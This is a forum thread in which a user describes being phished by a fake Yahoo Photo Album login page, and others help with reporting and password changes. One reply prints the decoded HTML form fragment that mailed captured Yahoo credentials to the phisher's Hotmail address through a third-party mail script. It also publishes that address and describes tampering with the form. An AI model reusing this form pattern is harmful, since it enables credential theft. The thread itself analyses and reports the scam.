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FlexBaud
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join:2004-10-06
Pensacola, FL
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 Password Stolen

Well, This was just great!

I was on yahoo messenger. I never go into chat rooms and very few people know my ID. Someone sends me a link to a page which appears to be a Yahoo Photo Album, It looked like a legit site and the URL looked legit.

At the same time, I was under a lot of stress from my ex-girlfriend so I couldn't focus 100%.

So, assuming it was a legit site, I signed in. It then seemed like a login page rather than a direct link to a album, so I figured the person gave me the wrong link.

A few mins later "You have been signed off Yahoo because you signed in from another location"

I was able to enter my personal info at yahoo, and changed all my passwords.

»www.geocities.com/login_xp3/login.htm?200514

That's the page.. from a quick look, it doesn't look "fake" but, indeed, it is.

I'm about to kick myself.. I've always been VERY CAREFUL and used to get stuff like this all the time and I NEVER fell for it... never thought it would've happened to me.

Don't ever say never.

adamt56

join:2005-06-21
Saint Petersburg, FL
Have you reported this to Yahoo?

FlexBaud
Premium
join:2004-10-06
Pensacola, FL
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said by adamt56 See Profile :

Have you reported this to Yahoo?
No, I don't know where to report it at.


MrBradTX

join:2001-05-23
Carrollton, TX

edit:
September 16th, @01:07PM

abuse@yahoo.com
abuse@geocities.com

FlexBaud
Premium
join:2004-10-06
Pensacola, FL
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said by MrBradTX See Profile :

abuse@yahoo.com
abuse@geocities.com
Thank You, Sent.

bpm3k

join:2004-08-15
Simi Valley, CA


edit:
September 16th, @03:31PM

reply to FlexBaud
Click for full size
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koolman2
Premium
join:2002-10-01
Anchorage, AK
·GCI.net
·Clearwire Wireless

reply to FlexBaud
I love the notice at the bottom.

quote:
NOTICE: We collect personal information on this site.
--
"I wonder if other dogs think poodles are members of a weird religious cult." -Rita Rudner

KyeU

join:2003-12-31
Canada


edit:
September 16th, @04:49PM

reply to FlexBaud
The page was encrypted, but I decrypted it and found this:

<FORM METHOD="POST" ACTION="http://www2.fiberbit.net/form/
mailto.cgi" ENCTYPE="x-www-form-urlencoded">
.
.
.
<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
<INPUT TYPE="hidden" NAME="Mail_To" VALUE="midas_guara_18@hotmail.com">
<INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">
<INPUT TYPE="hidden" NAME="Next_Page" VALUE="http://photos.yahoo.com/ph//my_photos">

midas_guara_18@hotmail.com

I'm tempted to say hello to him in his language, Portuguese...

EDIT: Done. Entered his email address in the Name box and entered a very 'nice' Portuguese slang in the Password box...sorry, I couldn't help it. I don't like lamers like our friend here. (Don't worry, I used a proxy xD)

EDIT2: Found more information on the mail.cgi script:

»world.altavista.com/babelfish/tr···id%3D240

Apparently its been used for fraud.

EDIT3: Did a search for his E-Mail address, and it appears he was/is a member on "DarK FantasyZ" and "the-outback.net". (Both forums are now non-existent.)


EGeezer
Spring is here
Premium
join:2002-08-04
Central Ohio
clubs:
  Just out of curiosity, when the email is sent to the hotmail account, whose address shows up in the "from" field of that email ?
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Every Good Electrical Engineer Zeroes Each Register


Devious
Premium
join:2003-10-16
Tucson, AZ

said by EGeezer See Profile :

Just out of curiosity, when the email is sent to the hotmail account, whose address shows up in the "from" field of that email ?
"Yahoo id"
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techiekid.net

KyeU

join:2003-12-31
Canada

edit:
September 18th, @03:14AM

reply to FlexBaud
<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">


Devious
Premium
join:2003-10-16
Tucson, AZ

said by KyeU See Profile :

[code]

[/code]
Ohh, yes. I got confused while posting earlier, I thought he meant the subject. Whoops!
--
techiekid.net


Doctor Olds
I Need A Remedy For What's Ailing Me.
Premium,VIP
join:2001-04-19
1970 442 W30
clubs:

reply to FlexBaud
said by FlexBaud See Profile :

said by MrBradTX See Profile :

abuse@yahoo.com
abuse@geocities.com
Thank You, Sent.
Wonder why it's still up 48 hours later??? Might want to complain again.....
--
What’s the point of owning a supercar if you can’t scare yourself stupid from time to time?

FlexBaud
Premium
join:2004-10-06
Pensacola, FL
clubs:

reply to FlexBaud
Okay, I've got another question.

The username/password I used for Yahoo (which is now changed) is the same as my company ID/Password.

With my Company ID, I have options for Inventory Management, and Pricing.

I highly doubt the person that has my password will have access to my company's system, but, Would it be a good idea to change my password just to be on the safe side?


norwegian
Premium
join:2005-02-15
Outback
·WestNet Broadband

reply to FlexBaud
m1k3l
sorry to hear that someone out there likes, and has nothing better to do than go hunting for victims, and you happened to be unlucky enough to experience their exploits

i sit in wonder at the intelligence of some of the people here, and the help you have received.

seriously tho, if you have the belief that your passwords were taken from you, i would go through and change any passwords you have , it maybe hard to deal with at first, but in the outcome it is the only option you have

if he/she got that close, dont go leaving an open door

just my 2 bob

good luck sorting it all out

norwegian


Dipsomaniac
Oh My, Yes.

join:2001-12-12
Toronto, ON
·Rogers Hi-Speed

reply to FlexBaud
It is *always a good idea to change your password just to be safe. If you've used a password in more than one spot, it is a good idea to change it everywhere it's used if it's compromised anywhere.
--
Therapy is expensive. Bubble wrap is free.


Steve
SAS-70 is extortion
Consultant
join:2001-03-10
Tustin, CA
reply to FlexBaud
It's nice to know some of the Yahoo! Paranoids (security staff); the site's been taken down.

KyeU

join:2003-12-31
Canada

said by Steve See Profile :

It's nice to know some of the Yahoo! Paranoids (security staff); the site's been taken down.
FINALLY. Took them 3 days o_O


Steve
SAS-70 is extortion
Consultant
join:2001-03-10
Tustin, CA

said by KyeU See Profile :

FINALLY. Took them 3 days o_O
... but it only took around six hours once the right guy had it


GKJUG

@ziplink.net
 reply to FlexBaud
quote:
Would it be a good idea to change my password just to be on the safe side?
Always. Yes.

If my sixth sense warns me that a password might've been compromised I change it.
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